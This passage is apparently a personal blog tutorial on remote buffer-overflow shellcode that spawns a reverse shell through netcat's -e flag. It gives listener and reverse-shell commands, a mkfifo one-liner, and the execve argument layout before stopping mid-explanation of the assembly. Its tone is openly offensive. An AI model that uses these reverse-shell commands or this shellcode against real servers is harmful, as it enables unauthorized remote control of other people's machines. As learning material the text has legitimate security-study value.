Imagine you found a vulnerability in a web server and decided to take over that machine to do your dirty deeds,what do you do? Well,for starters,you have to figure out how to exploit the vulnerability at hand. In this article I will talk only about buffer overflows abused to inject a shellcode and execute arbitrary commands. There can be other ways to gain access to a vulnerable remote machine,like incorrect parsing of cgi-bin requests,XSS attacks through unescaped html strings,SQL injection,etc etc.
Most of all,what I want to focus on is the remote nature of the attack. Local buffer overflows are easy and there are countless of other articles with detailed explanations on how to perform them (like this shameless self-plug from my old blog). Remote buffer overflows,though,are a whole other deal. Most of the time you are left stumbling in the dark trying to understand if an exploit is even possible,how the memory of your target machine could be laid out,if they have ASLR and stack guards… and on top of that you cannot just spawn a shell and call it a day. What good is it to just spawn a local shell on a remote machine,if you can’t log into it?
The reverse bind of a remote shell
There are several ways to obtain access to a local shell with a remote connection. The most common of all is to open a known port with a tcp socket and bind its stdout/stderr/stdin to a newly forked shell. This way we can connect from our computer with a simple netcat command. However,this doesn’t work well most of the time: most of the public-facing servers out there have only a few number of ports open to the outside world (like http(s),ftp,smtp,etc) and the remaining inbound requests are usually filtered and dropped by iptables or firewalls.
The solution to this is to use a reverse bind for your local shell. A reverse bind is a simple operation that turns the client into a server and vice-versa. Originally,you’d have opened a port on the target and waited for inbound connections (from your attacking machine). Reverse this and you’ll have an open connection on your own machine waiting for the target machine to connect,this turns the attacker into the receiver waiting for some poor victim to fall into the trap.
Now,there are several shellcodes around the web for this specific type of attack,you can freely browse some of them at the shell-storm database. To me,some of them worked and some others didn’t but it’s always a good learning experience so check it out. The topic for today will be how to abuse netcat to do most of the job for us,I looked around the shallow web (first results of google searches) and couldn’t find any example for this so… here it is!
The netcat -e command
We will assume our target has netcat installed on the machine. This is very specific for this type of attack and if the target is even a bit concerned about security,there probably won’t be any,but for the sake of learning let’s assume this attack is applicable.
Traditional netcat and its GNU counterpart have a special parameter that can be passed to the binary,the -e flag. This flag will execute anything and bind it to the connection. The traditional netcat also has a -c flag which,for our purposes,does exactly the same,but since GNU-netcat doesn’t have it,we’ll just use -e.
If we bind /bin/sh to netcat with -e,we are able to effectively pass our shell to the remote connection and have whoever is listening on the other side snoop into our machine (be careful when doing this!). Let’s give it a try:
- In a shell on your machine run
netcat -lvp 9999
to begin listening to inbound connections. This command should be your base operation for any reverse bind shell attack,it can be your life saver. - In a separate shell,run
netcat -e /bin/sh 127.0.0.1 9999
You should have received a connection in the first shell you opened. Go ahead and type some shell commands like ls
or whoami
to confirm that it is working. You can close the connection (from any end) with Ctrl-c
when you’re done with it.
Note: The openbsd version of the netcat command has no -e/-c flags. As an alternative (taken from their man page) you can execute the following command: rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f
This,however,is very verbose,error prone and harder to run from an injected shellcode so if your target is using this version maybe it’s better to use a different shellcode.
Great! Now we know what command we want to execute on the target machine,we just need to find a way to cram it into some assembly and compile it into our payload.
The assembly code
This is the assembly required to run our shellcode. I will explain in details how it works. (Warning: it’s Intel syntax)
We want to execute the equivalent of the following C code:char *command[] = {"/bin/netcat","-e","/bin/sh","127.127.127.127","9999",NULL};
execve(command[0],command,NULL);
To do so,we set up the following command string: "/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"
Ignoring the letters at the end (which I will explain later),you can see that our multiple strings are just being packed all together into a single one,separated with a #
character. This is because we cannot have null characters inside the actual shellcode. If this were to happen,we’d end up with an incorrectly-parsed string from our victim’s machine. This is very common in shellcodes so I won’t get in too many details.
Regardless of where we are in memory when we run this code,we need to identify the address of the command string,so at line 1 we jump to the forward
label (line 26) and then we immediately call the back
label. The call instruction in assembly is used to call a function,what this does is push the return address (the address of the instruction right after the call) on top of the stack. But the address of the next instruction is exactly the address of our command string! (line 28)
Back to line 3,we pop the address into the esi register. Then we zero out the eax register (remember,we cannot just mov eax,0
because zeroes are not allowed in our code) and start performing a patching operation to split the command string into multiple individual strings directly in memory.
Here’s a picture to help explaining the following process:
What we are doing between line 5 and line 9 is moving individual zeros (taken from the al/eax register,which we just zeroed with xor) into each location where an individual string in our command ends. This is effectively substituting #
with